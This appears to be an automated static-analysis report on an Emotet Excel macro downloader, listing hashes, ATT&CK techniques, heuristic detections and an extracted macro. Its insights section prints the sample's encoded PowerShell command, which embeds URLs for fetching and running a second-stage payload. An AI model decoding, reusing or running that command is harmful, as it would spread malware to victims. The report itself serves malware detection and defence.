Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 f9673b82ddab5945…

MALICIOUS

Office (OLE) / .XLSX

151.5 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel
MD5: a607debe9b221bd6f4883440207b575a SHA-1: b16902bad216103a9f5de078b12dda77ef9abdb4 SHA-256: f9673b82ddab594583ae8e57dd0015de22e131e065563a34702ac1cdae3b05ed
280 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1204.002 Malicious File

The sample is identified as malicious by ClamAV with a signature indicating it's an Emotet Excel downloader. The Workbook_Open macro is present and configured to execute, which is a common Emotet delivery technique. The script contains obfuscated PowerShell commands that reconstruct several URLs, likely for downloading and executing a second-stage payload. Specifically, it reconstructs the command: 'hell -e nc JABqAGUAbwBsAGkAcwBlADMAUgBoAGcARABaAFMANABjAGQAZgBnAD0AIgBoAHQAdABwAHMAOgAvAC8AcwB0AG8AcgBlAC4AdQB4AGQAdQBtAGkAdAAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AVgBmAGcASABIAFEAYQB3ADcASgBaAC8ALABoAHQAdABwAHMAOgAvAC8AZwBsAG8AdwByAGUAbgB0AGEAbABzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBmADEAegBlAEEASwBHAFQAbgBTADYASQAvACwAaAB0AHQAcAA6AC8ALwBjAGEAbgBkAGkAcwBlAGUALgBiAG0AaQBuAHQAZQByAGEAYwB0AGkAdgBlAGcAcgBvAHUAcAAuAGMAbwBtAC8AMQBnADkANABuAGcAbwAvADIAbgA3AGwASgBvAFAAdQBQAEQARQBhAG4AUABjAFgALwAsAGgAdAB0AHAAOgAvAC8AYgBhAGMAaABpAGwAbABlAHIAYQB0AG8AcABvAHIAYwBpAGMAbABvAHMALgBvAHIAZwAv'. This PowerShell command is designed to download files from the provided URLs and execute them. The presence of `CreateObject` and `Wscript.Shell` further supports the execution of external commands and scripts.

Heuristics 7

  • ClamAV: Doc.Downloader.EmotetExcel02222-9938901-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetExcel02222-9938901-0
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
df1eb14c222394595c0518b49eec2b55ed9573146c5f1717dedceddd2e199a2b		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 12041 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.

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